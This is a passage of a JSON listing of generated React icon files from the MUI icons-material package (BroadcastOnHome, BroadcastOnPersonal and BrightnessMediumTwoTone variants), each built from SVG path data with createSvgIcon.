    "path": "packages/mui-icons-material/lib/BrightnessMediumTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zM12 18V6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6v12c3.31 0 6-2.69 6-6s-2.69-6-6-6\"\n}, \"1\")], 'BrightnessMediumTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnHome.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4v2h16v2.59c.73.29 1.4.69 2 1.17zM8 9H3c-.5 0-1 .5-1 1v9c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-9c0-.5-.5-1-1-1m-1 9H4v-7h3zm10.75-1.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25s-1.25.56-1.25 1.25c0 .4.2.75.5.97V22h1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13.5c1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4s-4 1.79-4 4c0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnHome');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnHome.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4v2h16v2.59c.73.29 1.4.69 2 1.17zM8 9H3c-.5 0-1 .5-1 1v9c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-9c0-.5-.5-1-1-1m-1 9H4v-7h3zm10.75-1.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25s-1.25.56-1.25 1.25c0 .4.2.75.5.97V22h1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13.5c1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4s-4 1.79-4 4c0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnHome');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnHomeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4v2h16v2.59c.73.29 1.4.69 2 1.17zM8 9H3c-.5 0-1 .5-1 1v9c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-9c0-.5-.5-1-1-1m-1 9H4v-7h3zm10.75-1.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25s-1.25.56-1.25 1.25c0 .4.2.75.5.97V22h1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13.5c1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4s-4 1.79-4 4c0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnHomeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnHomeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4v2h16v2.59c.73.29 1.4.69 2 1.17zM8 9H3c-.5 0-1 .5-1 1v9c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-9c0-.5-.5-1-1-1m-1 9H4v-7h3zm10.75-1.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25s-1.25.56-1.25 1.25c0 .4.2.75.5.97V22h1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13.5c1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4s-4 1.79-4 4c0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnHomeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnHomeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H5c-.55 0-1 .45-1 1s.45 1 1 1h15v2.59c.73.29 1.4.69 2 1.17zM8 9H3c-.5 0-1 .5-1 1v9c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-9c0-.5-.5-1-1-1m-1 9H4v-7h3zm10.75-1.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25s-1.25.56-1.25 1.25c0 .4.2.75.5.97v4.28c0 .41.34.75.75.75s.75-.34.75-.75z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.54 13.56c.98.21 1.76 1.03 1.93 2.02.11.64-.03 1.25-.34 1.74-.18.29-.13.67.12.91.34.33.9.29 1.16-.12.51-.82.73-1.83.53-2.9-.3-1.56-1.56-2.83-3.12-3.13C15.24 11.58 13 13.53 13 16c0 .78.22 1.5.6 2.11.25.41.83.46 1.16.12.24-.24.29-.63.11-.92-.24-.38-.37-.83-.37-1.31 0-1.55 1.43-2.78 3.04-2.44\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.25 9.54c-2.94.33-5.32 2.68-5.69 5.61-.23 1.82.29 3.51 1.3 4.82.27.35.8.37 1.12.06.27-.27.28-.7.05-1-.8-1.05-1.2-2.43-.95-3.89.34-2.03 1.95-3.67 3.98-4.05C19.22 10.5 22 12.93 22 16c0 1.13-.38 2.18-1.02 3.02-.23.3-.21.73.06 1 .31.31.84.3 1.11-.06.85-1.09 1.35-2.47 1.35-3.96 0-3.84-3.33-6.9-7.25-6.46\"\n}, \"2\")], 'BroadcastOnHomeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnHomeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H5c-.55 0-1 .45-1 1s.45 1 1 1h15v2.59c.73.29 1.4.69 2 1.17zM8 9H3c-.5 0-1 .5-1 1v9c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-9c0-.5-.5-1-1-1m-1 9H4v-7h3zm10.75-1.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25s-1.25.56-1.25 1.25c0 .4.2.75.5.97v4.28c0 .41.34.75.75.75s.75-.34.75-.75z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.54 13.56c.98.21 1.76 1.03 1.93 2.02.11.64-.03 1.25-.34 1.74-.18.29-.13.67.12.91.34.33.9.29 1.16-.12.51-.82.73-1.83.53-2.9-.3-1.56-1.56-2.83-3.12-3.13C15.24 11.58 13 13.53 13 16c0 .78.22 1.5.6 2.11.25.41.83.46 1.16.12.24-.24.29-.63.11-.92-.24-.38-.37-.83-.37-1.31 0-1.55 1.43-2.78 3.04-2.44\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.25 9.54c-2.94.33-5.32 2.68-5.69 5.61-.23 1.82.29 3.51 1.3 4.82.27.35.8.37 1.12.06.27-.27.28-.7.05-1-.8-1.05-1.2-2.43-.95-3.89.34-2.03 1.95-3.67 3.98-4.05C19.22 10.5 22 12.93 22 16c0 1.13-.38 2.18-1.02 3.02-.23.3-.21.73.06 1 .31.31.84.3 1.11-.06.85-1.09 1.35-2.47 1.35-3.96 0-3.84-3.33-6.9-7.25-6.46\"\n}, \"2\")], 'BroadcastOnHomeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnHomeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9.76V4H4v2h16v2.59c.73.29 1.4.69 2 1.17M9 9H2v11h7zm-2 9H4v-7h3zm10.75-1.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25s-1.25.56-1.25 1.25c0 .4.2.75.5.97V22h1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13.5c1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4s-4 1.79-4 4c0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnHomeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnHomeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9.76V4H4v2h16v2.59c.73.29 1.4.69 2 1.17M9 9H2v11h7zm-2 9H4v-7h3zm10.75-1.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25s-1.25.56-1.25 1.25c0 .4.2.75.5.97V22h1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13.5c1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4s-4 1.79-4 4c0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnHomeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnHomeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 11h3v7H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.59c.73.29 1.4.69 2 1.17V6c0-1.1-.9-2-2-2H4v2h16zM8 9H3c-.5 0-1 .5-1 1v9c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-9c0-.5-.5-1-1-1m-1 9H4v-7h3zm10-3.25c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"3\")], 'BroadcastOnHomeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnHomeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 11h3v7H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.59c.73.29 1.4.69 2 1.17V6c0-1.1-.9-2-2-2H4v2h16zM8 9H3c-.5 0-1 .5-1 1v9c0 .5.5 1 1 1h5c.5 0 1-.5 1-1v-9c0-.5-.5-1-1-1m-1 9H4v-7h3zm10-3.25c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"3\")], 'BroadcastOnHomeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnPersonal.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8c.7 0 1.38.1 2.02.27L12 3 4 9v12h6.76C9.66 19.63 9 17.89 9 16c0-4.42 3.58-8 8-8m0 6.75c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnPersonal');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnPersonal.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8c.7 0 1.38.1 2.02.27L12 3 4 9v12h6.76C9.66 19.63 9 17.89 9 16c0-4.42 3.58-8 8-8m0 6.75c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnPersonal');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnPersonalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19v-9l6-4.5 4.08 3.06c.81-.32 1.69-.51 2.61-.54L10 3 2 9v12h8.76c-.48-.6-.88-1.27-1.17-2zm13-4.25c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnPersonalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnPersonalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19v-9l6-4.5 4.08 3.06c.81-.32 1.69-.51 2.61-.54L10 3 2 9v12h8.76c-.48-.6-.88-1.27-1.17-2zm13-4.25c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnPersonalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnPersonalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8c.7 0 1.38.1 2.02.27L12 3 4 9v12h6.76C9.66 19.63 9 17.89 9 16c0-4.42 3.58-8 8-8m0 6.75c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnPersonalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnPersonalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8c.7 0 1.38.1 2.02.27L12 3 4 9v12h6.76C9.66 19.63 9 17.89 9 16c0-4.42 3.58-8 8-8m0 6.75c-.69 0-1.25.56-1.25 1.25 0 .4.2.75.5.97V22h1.5v-5.03c.3-.23.5-.57.5-.97 0-.69-.56-1.25-1.25-1.25\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 12c-2.21 0-4 1.79-4 4 0 1.1.45 2.1 1.17 2.83l1.06-1.06c-.45-.45-.73-1.08-.73-1.77 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5c0 .69-.28 1.31-.73 1.76l1.06 1.06C20.55 18.1 21 17.1 21 16c0-2.21-1.79-4-4-4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9.5c-3.59 0-6.5 2.91-6.5 6.5 0 1.79.73 3.42 1.9 4.6l1.06-1.06C12.56 18.63 12 17.38 12 16c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.37-.56 2.62-1.46 3.52l1.07 1.06c1.17-1.18 1.89-2.8 1.89-4.58 0-3.59-2.91-6.5-6.5-6.5\"\n}, \"2\")], 'BroadcastOnPersonalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BroadcastOnPersonalSharp.js",
